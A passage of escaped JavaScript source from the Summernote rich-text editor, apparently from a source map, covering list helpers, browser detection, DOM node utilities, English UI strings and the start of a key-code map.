indexOf(array, item);\n if (idx === -1) { return null; }\n\n return array[idx - 1];\n}\n\n/**\n * @class core.list\n *\n * list utils\n *\n * @singleton\n * @alternateClassName list\n */\nexport default {\n head,\n last,\n initial,\n tail,\n prev,\n next,\n find,\n contains,\n all,\n sum,\n from,\n isEmpty,\n clusterBy,\n compact,\n unique\n};\n","import $ from 'jquery';\nconst isSupportAmd = typeof define === 'function' && define.amd; // eslint-disable-line\n\n/**\n * returns whether font is installed or not.\n *\n * @param {String} fontName\n * @return {Boolean}\n */\nfunction isFontInstalled(fontName) {\n const testFontName = fontName === 'Comic Sans MS' ? 'Courier New' : 'Comic Sans MS';\n const $tester = $('<div>').css({\n position: 'absolute',\n left: '-9999px',\n top: '-9999px',\n fontSize: '200px'\n }).text('mmmmmmmmmwwwwwww').appendTo(document.body);\n\n const originalWidth = $tester.css('fontFamily', testFontName).width();\n const width = $tester.css('fontFamily', fontName + ',' + testFontName).width();\n\n $tester.remove();\n\n return originalWidth !== width;\n}\n\nconst userAgent = navigator.userAgent;\nconst isMSIE = /MSIE|Trident/i.test(userAgent);\nlet browserVersion;\nif (isMSIE) {\n let matches = /MSIE (\\d+[.]\\d+)/.exec(userAgent);\n if (matches) {\n browserVersion = parseFloat(matches[1]);\n }\n matches = /Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(userAgent);\n if (matches) {\n browserVersion = parseFloat(matches[1]);\n }\n}\n\nconst isEdge = /Edge\\/\\d+/.test(userAgent);\n\nlet hasCodeMirror = !!window.CodeMirror;\nif (!hasCodeMirror && isSupportAmd) {\n // Webpack\n if (typeof __webpack_require__ === 'function') { // eslint-disable-line\n try {\n // If CodeMirror can't be resolved, `require.resolve` will throw an\n // exception and `hasCodeMirror` won't be set to `true`.\n require.resolve('codemirror');\n hasCodeMirror = true;\n } catch (e) {\n // do nothing\n }\n } else if (typeof require !== 'undefined') {\n // Browserify\n if (typeof require.resolve !== 'undefined') {\n try {\n // If CodeMirror can't be resolved, `require.resolve` will throw an\n // exception and `hasCodeMirror` won't be set to `true`.\n require.resolve('codemirror');\n hasCodeMirror = true;\n } catch (e) {\n // do nothing\n }\n // Almond/Require\n } else if (typeof require.specified !== 'undefined') {\n hasCodeMirror = require.specified('codemirror');\n }\n }\n}\n\nconst isSupportTouch =\n (('ontouchstart' in window) ||\n (navigator.MaxTouchPoints > 0) ||\n (navigator.msMaxTouchPoints > 0));\n\n// [workaround] IE doesn't have input events for contentEditable\n// - see: https://goo.gl/4bfIvA\nconst inputEventName = (isMSIE || isEdge) ? 'DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted' : 'input';\n\n/**\n * @class core.env\n *\n * Object which check platform and agent\n *\n * @singleton\n * @alternateClassName env\n */\nexport default {\n isMac: navigator.appVersion.indexOf('Mac') > -1,\n isMSIE,\n isEdge,\n isFF: !isEdge && /firefox/i.test(userAgent),\n isPhantom: /PhantomJS/i.test(userAgent),\n isWebkit: !isEdge && /webkit/i.test(userAgent),\n isChrome: !isEdge && /chrome/i.test(userAgent),\n isSafari: !isEdge && /safari/i.test(userAgent),\n browserVersion,\n jqueryVersion: parseFloat($.fn.jquery),\n isSupportAmd,\n isSupportTouch,\n hasCodeMirror,\n isFontInstalled,\n isW3CRangeSupport: !!document.createRange,\n inputEventName\n};\n","import $ from 'jquery';\nimport func from './func';\nimport lists from './lists';\nimport env from './env';\n\nconst NBSP_CHAR = String.fromCharCode(160);\nconst ZERO_WIDTH_NBSP_CHAR = '\\ufeff';\n\n/**\n * @method isEditable\n *\n * returns whether node is `note-editable` or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isEditable(node) {\n return node && $(node).hasClass('note-editable');\n}\n\n/**\n * @method isControlSizing\n *\n * returns whether node is `note-control-sizing` or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isControlSizing(node) {\n return node && $(node).hasClass('note-control-sizing');\n}\n\n/**\n * @method makePredByNodeName\n *\n * returns predicate which judge whether nodeName is same\n *\n * @param {String} nodeName\n * @return {Function}\n */\nfunction makePredByNodeName(nodeName) {\n nodeName = nodeName.toUpperCase();\n return function(node) {\n return node && node.nodeName.toUpperCase() === nodeName;\n };\n}\n\n/**\n * @method isText\n *\n *\n *\n * @param {Node} node\n * @return {Boolean} true if node's type is text(3)\n */\nfunction isText(node) {\n return node && node.nodeType === 3;\n}\n\n/**\n * @method isElement\n *\n *\n *\n * @param {Node} node\n * @return {Boolean} true if node's type is element(1)\n */\nfunction isElement(node) {\n return node && node.nodeType === 1;\n}\n\n/**\n * ex) br, col, embed, hr, img, input, ...\n * @see http://www.w3.org/html/wg/drafts/html/master/syntax.html#void-elements\n */\nfunction isVoid(node) {\n return node && /^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(node.nodeName.toUpperCase());\n}\n\nfunction isPara(node) {\n if (isEditable(node)) {\n return false;\n }\n\n // Chrome(v31.0), FF(v25.0.1) use DIV for paragraph\n return node && /^DIV|^P|^LI|^H[1-7]/.test(node.nodeName.toUpperCase());\n}\n\nfunction isHeading(node) {\n return node && /^H[1-7]/.test(node.nodeName.toUpperCase());\n}\n\nconst isPre = makePredByNodeName('PRE');\n\nconst isLi = makePredByNodeName('LI');\n\nfunction isPurePara(node) {\n return isPara(node) && !isLi(node);\n}\n\nconst isTable = makePredByNodeName('TABLE');\n\nconst isData = makePredByNodeName('DATA');\n\nfunction isInline(node) {\n return !isBodyContainer(node) &&\n !isList(node) &&\n !isHr(node) &&\n !isPara(node) &&\n !isTable(node) &&\n !isBlockquote(node) &&\n !isData(node);\n}\n\nfunction isList(node) {\n return node && /^UL|^OL/.test(node.nodeName.toUpperCase());\n}\n\nconst isHr = makePredByNodeName('HR');\n\nfunction isCell(node) {\n return node && /^TD|^TH/.test(node.nodeName.toUpperCase());\n}\n\nconst isBlockquote = makePredByNodeName('BLOCKQUOTE');\n\nfunction isBodyContainer(node) {\n return isCell(node) || isBlockquote(node) || isEditable(node);\n}\n\nconst isAnchor = makePredByNodeName('A');\n\nfunction isParaInline(node) {\n return isInline(node) && !!ancestor(node, isPara);\n}\n\nfunction isBodyInline(node) {\n return isInline(node) && !ancestor(node, isPara);\n}\n\nconst isBody = makePredByNodeName('BODY');\n\n/**\n * returns whether nodeB is closest sibling of nodeA\n *\n * @param {Node} nodeA\n * @param {Node} nodeB\n * @return {Boolean}\n */\nfunction isClosestSibling(nodeA, nodeB) {\n return nodeA.nextSibling === nodeB ||\n nodeA.previousSibling === nodeB;\n}\n\n/**\n * returns array of closest siblings with node\n *\n * @param {Node} node\n * @param {function} [pred] - predicate function\n * @return {Node[]}\n */\nfunction withClosestSiblings(node, pred) {\n pred = pred || func.ok;\n\n const siblings = [];\n if (node.previousSibling && pred(node.previousSibling)) {\n siblings.push(node.previousSibling);\n }\n siblings.push(node);\n if (node.nextSibling && pred(node.nextSibling)) {\n siblings.push(node.nextSibling);\n }\n return siblings;\n}\n\n/**\n * blank HTML for cursor position\n * - [workaround] old IE only works with \n * - [workaround] IE11 and other browser works with bogus br\n */\nconst blankHTML = env.isMSIE && env.browserVersion < 11 ? ' ' : '<br>';\n\n/**\n * @method nodeLength\n *\n * returns #text's text size or element's childNodes size\n *\n * @param {Node} node\n */\nfunction nodeLength(node) {\n if (isText(node)) {\n return node.nodeValue.length;\n }\n\n if (node) {\n return node.childNodes.length;\n }\n\n return 0;\n}\n\n/**\n * returns whether node is empty or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isEmpty(node) {\n const len = nodeLength(node);\n\n if (len === 0) {\n return true;\n } else if (!isText(node) && len === 1 && node.innerHTML === blankHTML) {\n // ex) <p><br></p>, <span><br></span>\n return true;\n } else if (lists.all(node.childNodes, isText) && node.innerHTML === '') {\n // ex) <p></p>, <span></span>\n return true;\n }\n\n return false;\n}\n\n/**\n * padding blankHTML if node is empty (for cursor position)\n */\nfunction paddingBlankHTML(node) {\n if (!isVoid(node) && !nodeLength(node)) {\n node.innerHTML = blankHTML;\n }\n}\n\n/**\n * find nearest ancestor predicate hit\n *\n * @param {Node} node\n * @param {Function} pred - predicate function\n */\nfunction ancestor(node, pred) {\n while (node) {\n if (pred(node)) { return node; }\n if (isEditable(node)) { break; }\n\n node = node.parentNode;\n }\n return null;\n}\n\n/**\n * find nearest ancestor only single child blood line and predicate hit\n *\n * @param {Node} node\n * @param {Function} pred - predicate function\n */\nfunction singleChildAncestor(node, pred) {\n node = node.parentNode;\n\n while (node) {\n if (nodeLength(node) !== 1) { break; }\n if (pred(node)) { return node; }\n if (isEditable(node)) { break; }\n\n node = node.parentNode;\n }\n return null;\n}\n\n/**\n * returns new array of ancestor nodes (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [optional] pred - predicate function\n */\nfunction listAncestor(node, pred) {\n pred = pred || func.fail;\n\n const ancestors = [];\n ancestor(node, function(el) {\n if (!isEditable(el)) {\n ancestors.push(el);\n }\n\n return pred(el);\n });\n return ancestors;\n}\n\n/**\n * find farthest ancestor predicate hit\n */\nfunction lastAncestor(node, pred) {\n const ancestors = listAncestor(node);\n return lists.last(ancestors.filter(pred));\n}\n\n/**\n * returns common ancestor node between two nodes.\n *\n * @param {Node} nodeA\n * @param {Node} nodeB\n */\nfunction commonAncestor(nodeA, nodeB) {\n const ancestors = listAncestor(nodeA);\n for (let n = nodeB; n; n = n.parentNode) {\n if ($.inArray(n, ancestors) > -1) { return n; }\n }\n return null; // difference document area\n}\n\n/**\n * listing all previous siblings (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [optional] pred - predicate function\n */\nfunction listPrev(node, pred) {\n pred = pred || func.fail;\n\n const nodes = [];\n while (node) {\n if (pred(node)) { break; }\n nodes.push(node);\n node = node.previousSibling;\n }\n return nodes;\n}\n\n/**\n * listing next siblings (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [pred] - predicate function\n */\nfunction listNext(node, pred) {\n pred = pred || func.fail;\n\n const nodes = [];\n while (node) {\n if (pred(node)) { break; }\n nodes.push(node);\n node = node.nextSibling;\n }\n return nodes;\n}\n\n/**\n * listing descendant nodes\n *\n * @param {Node} node\n * @param {Function} [pred] - predicate function\n */\nfunction listDescendant(node, pred) {\n const descendants = [];\n pred = pred || func.ok;\n\n // start DFS(depth first search) with node\n (function fnWalk(current) {\n if (node !== current && pred(current)) {\n descendants.push(current);\n }\n for (let idx = 0, len = current.childNodes.length; idx < len; idx++) {\n fnWalk(current.childNodes[idx]);\n }\n })(node);\n\n return descendants;\n}\n\n/**\n * wrap node with new tag.\n *\n * @param {Node} node\n * @param {Node} tagName of wrapper\n * @return {Node} - wrapper\n */\nfunction wrap(node, wrapperName) {\n const parent = node.parentNode;\n const wrapper = $('<' + wrapperName + '>')[0];\n\n parent.insertBefore(wrapper, node);\n wrapper.appendChild(node);\n\n return wrapper;\n}\n\n/**\n * insert node after preceding\n *\n * @param {Node} node\n * @param {Node} preceding - predicate function\n */\nfunction insertAfter(node, preceding) {\n const next = preceding.nextSibling;\n let parent = preceding.parentNode;\n if (next) {\n parent.insertBefore(node, next);\n } else {\n parent.appendChild(node);\n }\n return node;\n}\n\n/**\n * append elements.\n *\n * @param {Node} node\n * @param {Collection} aChild\n */\nfunction appendChildNodes(node, aChild) {\n $.each(aChild, function(idx, child) {\n node.appendChild(child);\n });\n return node;\n}\n\n/**\n * returns whether boundaryPoint is left edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isLeftEdgePoint(point) {\n return point.offset === 0;\n}\n\n/**\n * returns whether boundaryPoint is right edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isRightEdgePoint(point) {\n return point.offset === nodeLength(point.node);\n}\n\n/**\n * returns whether boundaryPoint is edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isEdgePoint(point) {\n return isLeftEdgePoint(point) || isRightEdgePoint(point);\n}\n\n/**\n * returns whether node is left edge of ancestor or not.\n *\n * @param {Node} node\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isLeftEdgeOf(node, ancestor) {\n while (node && node !== ancestor) {\n if (position(node) !== 0) {\n return false;\n }\n node = node.parentNode;\n }\n\n return true;\n}\n\n/**\n * returns whether node is right edge of ancestor or not.\n *\n * @param {Node} node\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isRightEdgeOf(node, ancestor) {\n if (!ancestor) {\n return false;\n }\n while (node && node !== ancestor) {\n if (position(node) !== nodeLength(node.parentNode) - 1) {\n return false;\n }\n node = node.parentNode;\n }\n\n return true;\n}\n\n/**\n * returns whether point is left edge of ancestor or not.\n * @param {BoundaryPoint} point\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isLeftEdgePointOf(point, ancestor) {\n return isLeftEdgePoint(point) && isLeftEdgeOf(point.node, ancestor);\n}\n\n/**\n * returns whether point is right edge of ancestor or not.\n * @param {BoundaryPoint} point\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isRightEdgePointOf(point, ancestor) {\n return isRightEdgePoint(point) && isRightEdgeOf(point.node, ancestor);\n}\n\n/**\n * returns offset from parent.\n *\n * @param {Node} node\n */\nfunction position(node) {\n let offset = 0;\n while ((node = node.previousSibling)) {\n offset += 1;\n }\n return offset;\n}\n\nfunction hasChildren(node) {\n return !!(node && node.childNodes && node.childNodes.length);\n}\n\n/**\n * returns previous boundaryPoint\n *\n * @param {BoundaryPoint} point\n * @param {Boolean} isSkipInnerOffset\n * @return {BoundaryPoint}\n */\nfunction prevPoint(point, isSkipInnerOffset) {\n let node;\n let offset;\n\n if (point.offset === 0) {\n if (isEditable(point.node)) {\n return null;\n }\n\n node = point.node.parentNode;\n offset = position(point.node);\n } else if (hasChildren(point.node)) {\n node = point.node.childNodes[point.offset - 1];\n offset = nodeLength(node);\n } else {\n node = point.node;\n offset = isSkipInnerOffset ? 0 : point.offset - 1;\n }\n\n return {\n node: node,\n offset: offset\n };\n}\n\n/**\n * returns next boundaryPoint\n *\n * @param {BoundaryPoint} point\n * @param {Boolean} isSkipInnerOffset\n * @return {BoundaryPoint}\n */\nfunction nextPoint(point, isSkipInnerOffset) {\n let node, offset;\n\n if (nodeLength(point.node) === point.offset) {\n if (isEditable(point.node)) {\n return null;\n }\n\n node = point.node.parentNode;\n offset = position(point.node) + 1;\n } else if (hasChildren(point.node)) {\n node = point.node.childNodes[point.offset];\n offset = 0;\n } else {\n node = point.node;\n offset = isSkipInnerOffset ? nodeLength(point.node) : point.offset + 1;\n }\n\n return {\n node: node,\n offset: offset\n };\n}\n\n/**\n * returns whether pointA and pointB is same or not.\n *\n * @param {BoundaryPoint} pointA\n * @param {BoundaryPoint} pointB\n * @return {Boolean}\n */\nfunction isSamePoint(pointA, pointB) {\n return pointA.node === pointB.node && pointA.offset === pointB.offset;\n}\n\n/**\n * returns whether point is visible (can set cursor) or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isVisiblePoint(point) {\n if (isText(point.node) || !hasChildren(point.node) || isEmpty(point.node)) {\n return true;\n }\n\n const leftNode = point.node.childNodes[point.offset - 1];\n const rightNode = point.node.childNodes[point.offset];\n if ((!leftNode || isVoid(leftNode)) && (!rightNode || isVoid(rightNode))) {\n return true;\n }\n\n return false;\n}\n\n/**\n * @method prevPointUtil\n *\n * @param {BoundaryPoint} point\n * @param {Function} pred\n * @return {BoundaryPoint}\n */\nfunction prevPointUntil(point, pred) {\n while (point) {\n if (pred(point)) {\n return point;\n }\n\n point = prevPoint(point);\n }\n\n return null;\n}\n\n/**\n * @method nextPointUntil\n *\n * @param {BoundaryPoint} point\n * @param {Function} pred\n * @return {BoundaryPoint}\n */\nfunction nextPointUntil(point, pred) {\n while (point) {\n if (pred(point)) {\n return point;\n }\n\n point = nextPoint(point);\n }\n\n return null;\n}\n\n/**\n * returns whether point has character or not.\n *\n * @param {Point} point\n * @return {Boolean}\n */\nfunction isCharPoint(point) {\n if (!isText(point.node)) {\n return false;\n }\n\n const ch = point.node.nodeValue.charAt(point.offset - 1);\n return ch && (ch !== ' ' && ch !== NBSP_CHAR);\n}\n\n/**\n * @method walkPoint\n *\n * @param {BoundaryPoint} startPoint\n * @param {BoundaryPoint} endPoint\n * @param {Function} handler\n * @param {Boolean} isSkipInnerOffset\n */\nfunction walkPoint(startPoint, endPoint, handler, isSkipInnerOffset) {\n let point = startPoint;\n\n while (point) {\n handler(point);\n\n if (isSamePoint(point, endPoint)) {\n break;\n }\n\n const isSkipOffset = isSkipInnerOffset &&\n startPoint.node !== point.node &&\n endPoint.node !== point.node;\n point = nextPoint(point, isSkipOffset);\n }\n}\n\n/**\n * @method makeOffsetPath\n *\n * return offsetPath(array of offset) from ancestor\n *\n * @param {Node} ancestor - ancestor node\n * @param {Node} node\n */\nfunction makeOffsetPath(ancestor, node) {\n const ancestors = listAncestor(node, func.eq(ancestor));\n return ancestors.map(position).reverse();\n}\n\n/**\n * @method fromOffsetPath\n *\n * return element from offsetPath(array of offset)\n *\n * @param {Node} ancestor - ancestor node\n * @param {array} offsets - offsetPath\n */\nfunction fromOffsetPath(ancestor, offsets) {\n let current = ancestor;\n for (let i = 0, len = offsets.length; i < len; i++) {\n if (current.childNodes.length <= offsets[i]) {\n current = current.childNodes[current.childNodes.length - 1];\n } else {\n current = current.childNodes[offsets[i]];\n }\n }\n return current;\n}\n\n/**\n * @method splitNode\n *\n * split element or #text\n *\n * @param {BoundaryPoint} point\n * @param {Object} [options]\n * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false\n * @param {Boolean} [options.isNotSplitEdgePoint] - default: false\n * @return {Node} right node of boundaryPoint\n */\nfunction splitNode(point, options) {\n const isSkipPaddingBlankHTML = options && options.isSkipPaddingBlankHTML;\n const isNotSplitEdgePoint = options && options.isNotSplitEdgePoint;\n\n // edge case\n if (isEdgePoint(point) && (isText(point.node) || isNotSplitEdgePoint)) {\n if (isLeftEdgePoint(point)) {\n return point.node;\n } else if (isRightEdgePoint(point)) {\n return point.node.nextSibling;\n }\n }\n\n // split #text\n if (isText(point.node)) {\n return point.node.splitText(point.offset);\n } else {\n const childNode = point.node.childNodes[point.offset];\n const clone = insertAfter(point.node.cloneNode(false), point.node);\n appendChildNodes(clone, listNext(childNode));\n\n if (!isSkipPaddingBlankHTML) {\n paddingBlankHTML(point.node);\n paddingBlankHTML(clone);\n }\n\n return clone;\n }\n}\n\n/**\n * @method splitTree\n *\n * split tree by point\n *\n * @param {Node} root - split root\n * @param {BoundaryPoint} point\n * @param {Object} [options]\n * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false\n * @param {Boolean} [options.isNotSplitEdgePoint] - default: false\n * @return {Node} right node of boundaryPoint\n */\nfunction splitTree(root, point, options) {\n // ex) [#text, <span>, <p>]\n const ancestors = listAncestor(point.node, func.eq(root));\n\n if (!ancestors.length) {\n return null;\n } else if (ancestors.length === 1) {\n return splitNode(point, options);\n }\n\n return ancestors.reduce(function(node, parent) {\n if (node === point.node) {\n node = splitNode(point, options);\n }\n\n return splitNode({\n node: parent,\n offset: node ? position(node) : nodeLength(parent)\n }, options);\n });\n}\n\n/**\n * split point\n *\n * @param {Point} point\n * @param {Boolean} isInline\n * @return {Object}\n */\nfunction splitPoint(point, isInline) {\n // find splitRoot, container\n // - inline: splitRoot is a child of paragraph\n // - block: splitRoot is a child of bodyContainer\n const pred = isInline ? isPara : isBodyContainer;\n const ancestors = listAncestor(point.node, pred);\n const topAncestor = lists.last(ancestors) || point.node;\n\n let splitRoot, container;\n if (pred(topAncestor)) {\n splitRoot = ancestors[ancestors.length - 2];\n container = topAncestor;\n } else {\n splitRoot = topAncestor;\n container = splitRoot.parentNode;\n }\n\n // if splitRoot is exists, split with splitTree\n let pivot = splitRoot && splitTree(splitRoot, point, {\n isSkipPaddingBlankHTML: isInline,\n isNotSplitEdgePoint: isInline\n });\n\n // if container is point.node, find pivot with point.offset\n if (!pivot && container === point.node) {\n pivot = point.node.childNodes[point.offset];\n }\n\n return {\n rightNode: pivot,\n container: container\n };\n}\n\nfunction create(nodeName) {\n return document.createElement(nodeName);\n}\n\nfunction createText(text) {\n return document.createTextNode(text);\n}\n\n/**\n * @method remove\n *\n * remove node, (isRemoveChild: remove child or not)\n *\n * @param {Node} node\n * @param {Boolean} isRemoveChild\n */\nfunction remove(node, isRemoveChild) {\n if (!node || !node.parentNode) { return; }\n if (node.removeNode) { return node.removeNode(isRemoveChild); }\n\n const parent = node.parentNode;\n if (!isRemoveChild) {\n const nodes = [];\n for (let i = 0, len = node.childNodes.length; i < len; i++) {\n nodes.push(node.childNodes[i]);\n }\n\n for (let i = 0, len = nodes.length; i < len; i++) {\n parent.insertBefore(nodes[i], node);\n }\n }\n\n parent.removeChild(node);\n}\n\n/**\n * @method removeWhile\n *\n * @param {Node} node\n * @param {Function} pred\n */\nfunction removeWhile(node, pred) {\n while (node) {\n if (isEditable(node) || !pred(node)) {\n break;\n }\n\n const parent = node.parentNode;\n remove(node);\n node = parent;\n }\n}\n\n/**\n * @method replace\n *\n * replace node with provided nodeName\n *\n * @param {Node} node\n * @param {String} nodeName\n * @return {Node} - new node\n */\nfunction replace(node, nodeName) {\n if (node.nodeName.toUpperCase() === nodeName.toUpperCase()) {\n return node;\n }\n\n const newNode = create(nodeName);\n\n if (node.style.cssText) {\n newNode.style.cssText = node.style.cssText;\n }\n\n appendChildNodes(newNode, lists.from(node.childNodes));\n insertAfter(newNode, node);\n remove(node);\n\n return newNode;\n}\n\nconst isTextarea = makePredByNodeName('TEXTAREA');\n\n/**\n * @param {jQuery} $node\n * @param {Boolean} [stripLinebreaks] - default: false\n */\nfunction value($node, stripLinebreaks) {\n const val = isTextarea($node[0]) ? $node.val() : $node.html();\n if (stripLinebreaks) {\n return val.replace(/[\\n\\r]/g, '');\n }\n return val;\n}\n\n/**\n * @method html\n *\n * get the HTML contents of node\n *\n * @param {jQuery} $node\n * @param {Boolean} [isNewlineOnBlock]\n */\nfunction html($node, isNewlineOnBlock) {\n let markup = value($node);\n\n if (isNewlineOnBlock) {\n const regexTag = /<(\\/?)(\\b(?!!)[^>\\s]*)(.*?)(\\s*\\/?>)/g;\n markup = markup.replace(regexTag, function(match, endSlash, name) {\n name = name.toUpperCase();\n const isEndOfInlineContainer = /^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(name) &&\n !!endSlash;\n const isBlockNode = /^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(name);\n\n return match + ((isEndOfInlineContainer || isBlockNode) ? '\\n' : '');\n });\n markup = $.trim(markup);\n }\n\n return markup;\n}\n\nfunction posFromPlaceholder(placeholder) {\n const $placeholder = $(placeholder);\n const pos = $placeholder.offset();\n const height = $placeholder.outerHeight(true); // include margin\n\n return {\n left: pos.left,\n top: pos.top + height\n };\n}\n\nfunction attachEvents($node, events) {\n Object.keys(events).forEach(function(key) {\n $node.on(key, events[key]);\n });\n}\n\nfunction detachEvents($node, events) {\n Object.keys(events).forEach(function(key) {\n $node.off(key, events[key]);\n });\n}\n\n/**\n * @method isCustomStyleTag\n *\n * assert if a node contains a \"note-styletag\" class,\n * which implies that's a custom-made style tag node\n *\n * @param {Node} an HTML DOM node\n */\nfunction isCustomStyleTag(node) {\n return node && !isText(node) && lists.contains(node.classList, 'note-styletag');\n}\n\nexport default {\n /** @property {String} NBSP_CHAR */\n NBSP_CHAR,\n /** @property {String} ZERO_WIDTH_NBSP_CHAR */\n ZERO_WIDTH_NBSP_CHAR,\n /** @property {String} blank */\n blank: blankHTML,\n /** @property {String} emptyPara */\n emptyPara: `<p>${blankHTML}</p>`,\n makePredByNodeName,\n isEditable,\n isControlSizing,\n isText,\n isElement,\n isVoid,\n isPara,\n isPurePara,\n isHeading,\n isInline,\n isBlock: func.not(isInline),\n isBodyInline,\n isBody,\n isParaInline,\n isPre,\n isList,\n isTable,\n isData,\n isCell,\n isBlockquote,\n isBodyContainer,\n isAnchor,\n isDiv: makePredByNodeName('DIV'),\n isLi,\n isBR: makePredByNodeName('BR'),\n isSpan: makePredByNodeName('SPAN'),\n isB: makePredByNodeName('B'),\n isU: makePredByNodeName('U'),\n isS: makePredByNodeName('S'),\n isI: makePredByNodeName('I'),\n isImg: makePredByNodeName('IMG'),\n isTextarea,\n isEmpty,\n isEmptyAnchor: func.and(isAnchor, isEmpty),\n isClosestSibling,\n withClosestSiblings,\n nodeLength,\n isLeftEdgePoint,\n isRightEdgePoint,\n isEdgePoint,\n isLeftEdgeOf,\n isRightEdgeOf,\n isLeftEdgePointOf,\n isRightEdgePointOf,\n prevPoint,\n nextPoint,\n isSamePoint,\n isVisiblePoint,\n prevPointUntil,\n nextPointUntil,\n isCharPoint,\n walkPoint,\n ancestor,\n singleChildAncestor,\n listAncestor,\n lastAncestor,\n listNext,\n listPrev,\n listDescendant,\n commonAncestor,\n wrap,\n insertAfter,\n appendChildNodes,\n position,\n hasChildren,\n makeOffsetPath,\n fromOffsetPath,\n splitTree,\n splitPoint,\n create,\n createText,\n remove,\n removeWhile,\n replace,\n html,\n value,\n posFromPlaceholder,\n attachEvents,\n detachEvents,\n isCustomStyleTag\n};\n","import $ from 'jquery';\n\n$.summernote = $.summernote || {\n lang: {}\n};\n\n$.extend($.summernote.lang, {\n 'en-US': {\n font: {\n bold: 'Bold',\n italic: 'Italic',\n underline: 'Underline',\n clear: 'Remove Font Style',\n height: 'Line Height',\n name: 'Font Family',\n strikethrough: 'Strikethrough',\n subscript: 'Subscript',\n superscript: 'Superscript',\n size: 'Font Size'\n },\n image: {\n image: 'Picture',\n insert: 'Insert Image',\n resizeFull: 'Resize Full',\n resizeHalf: 'Resize Half',\n resizeQuarter: 'Resize Quarter',\n floatLeft: 'Float Left',\n floatRight: 'Float Right',\n floatNone: 'Float None',\n shapeRounded: 'Shape: Rounded',\n shapeCircle: 'Shape: Circle',\n shapeThumbnail: 'Shape: Thumbnail',\n shapeNone: 'Shape: None',\n dragImageHere: 'Drag image or text here',\n dropImage: 'Drop image or Text',\n selectFromFiles: 'Select from files',\n maximumFileSize: 'Maximum file size',\n maximumFileSizeError: 'Maximum file size exceeded.',\n url: 'Image URL',\n remove: 'Remove Image',\n original: 'Original'\n },\n video: {\n video: 'Video',\n videoLink: 'Video Link',\n insert: 'Insert Video',\n url: 'Video URL',\n providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)'\n },\n link: {\n link: 'Link',\n insert: 'Insert Link',\n unlink: 'Unlink',\n edit: 'Edit',\n textToDisplay: 'Text to display',\n url: 'To what URL should this link go?',\n openInNewWindow: 'Open in new window'\n },\n table: {\n table: 'Table',\n addRowAbove: 'Add row above',\n addRowBelow: 'Add row below',\n addColLeft: 'Add column left',\n addColRight: 'Add column right',\n delRow: 'Delete row',\n delCol: 'Delete column',\n delTable: 'Delete table'\n },\n hr: {\n insert: 'Insert Horizontal Rule'\n },\n style: {\n style: 'Style',\n p: 'Normal',\n blockquote: 'Quote',\n pre: 'Code',\n h1: 'Header 1',\n h2: 'Header 2',\n h3: 'Header 3',\n h4: 'Header 4',\n h5: 'Header 5',\n h6: 'Header 6'\n },\n lists: {\n unordered: 'Unordered list',\n ordered: 'Ordered list'\n },\n options: {\n help: 'Help',\n fullscreen: 'Full Screen',\n codeview: 'Code View'\n },\n paragraph: {\n paragraph: 'Paragraph',\n outdent: 'Outdent',\n indent: 'Indent',\n left: 'Align left',\n center: 'Align center',\n right: 'Align right',\n justify: 'Justify full'\n },\n color: {\n recent: 'Recent Color',\n more: 'More Color',\n background: 'Background Color',\n foreground: 'Foreground Color',\n transparent: 'Transparent',\n setTransparent: 'Set transparent',\n reset: 'Reset',\n resetToDefault: 'Reset to default'\n },\n shortcut: {\n shortcuts: 'Keyboard shortcuts',\n close: 'Close',\n textFormatting: 'Text formatting',\n action: 'Action',\n paragraphFormatting: 'Paragraph formatting',\n documentStyle: 'Document Style',\n extraKeys: 'Extra keys'\n },\n help: {\n 'insertParagraph': 'Insert Paragraph',\n 'undo': 'Undoes the last command',\n 'redo': 'Redoes the last command',\n 'tab': 'Tab',\n 'untab': 'Untab',\n 'bold': 'Set a bold style',\n 'italic': 'Set a italic style',\n 'underline': 'Set a underline style',\n 'strikethrough': 'Set a strikethrough style',\n 'removeFormat': 'Clean a style',\n 'justifyLeft': 'Set left align',\n 'justifyCenter': 'Set center align',\n 'justifyRight': 'Set right align',\n 'justifyFull': 'Set full align',\n 'insertUnorderedList': 'Toggle unordered list',\n 'insertOrderedList': 'Toggle ordered list',\n 'outdent': 'Outdent on current paragraph',\n 'indent': 'Indent on current paragraph',\n 'formatPara': 'Change current block\\'s format as a paragraph(P tag)',\n 'formatH1': 'Change current block\\'s format as H1',\n 'formatH2': 'Change current block\\'s format as H2',\n 'formatH3': 'Change current block\\'s format as H3',\n 'formatH4': 'Change current block\\'s format as H4',\n 'formatH5': 'Change current block\\'s format as H5',\n 'formatH6': 'Change current block\\'s format as H6',\n 'insertHorizontalRule': 'Insert horizontal rule',\n 'linkDialog.show': 'Show Link Dialog'\n },\n history: {\n undo: 'Undo',\n redo: 'Redo'\n },\n specialChar: {\n specialChar: 'SPECIAL CHARACTERS',\n select: 'Select Special characters'\n }\n }\n});\n","import lists from './lists';\nimport func from './func';\n\nconst KEY_MAP = {\n 'BACKSPACE': 8,\n 'TAB': 9,\n 'ENTER': 13,\n 'SPACE': 32,\n 'DELETE': 46,\n\n // Arrow\n 'LEFT': 37,\n 'UP': 38,\n 'RIGHT': 39,\n 'DOWN': 40,\n\n // Number: 0-9\n 'NUM0': 48,\n 'NUM1': 49,\n 'NUM2': 50,\n 'NUM3': 51,\n 'NUM4': 52,\n 'NUM5': 53,\n 'NUM6': 